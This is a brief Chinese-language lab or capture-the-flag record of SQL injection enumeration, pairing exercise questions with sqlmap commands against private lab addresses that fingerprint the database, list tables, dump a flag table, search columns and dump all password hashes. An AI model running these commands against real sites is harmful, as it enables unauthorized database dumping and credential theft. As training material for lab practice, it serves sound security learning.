SQLMap数据库枚举靶机(打靶记录)
在testdb数据库中,表flag1的内容是什么?(案例#1)
sqlmap -u "http://10.22.216.208/case1.php?id=1" --banner --current-user --current-db --is-dba
sqlmap -u "http://10.22.216.208/case1.php?id=1" --tables -D nextcyber
sqlmap -u "http://10.22.216.208/case1.php?id=1" --dump -T flag1 -D nextcyber
名字中含有 "style "的列的名称是什么? (案例#1)
sqlmap -u "http://10.22.253.82/case1.php?id=1" --search -C style
Alice Helen用户的密码是什么? (案例#1)
sqlmap -u "http://10.22.253.82/case1.php?id=1" --passwords --all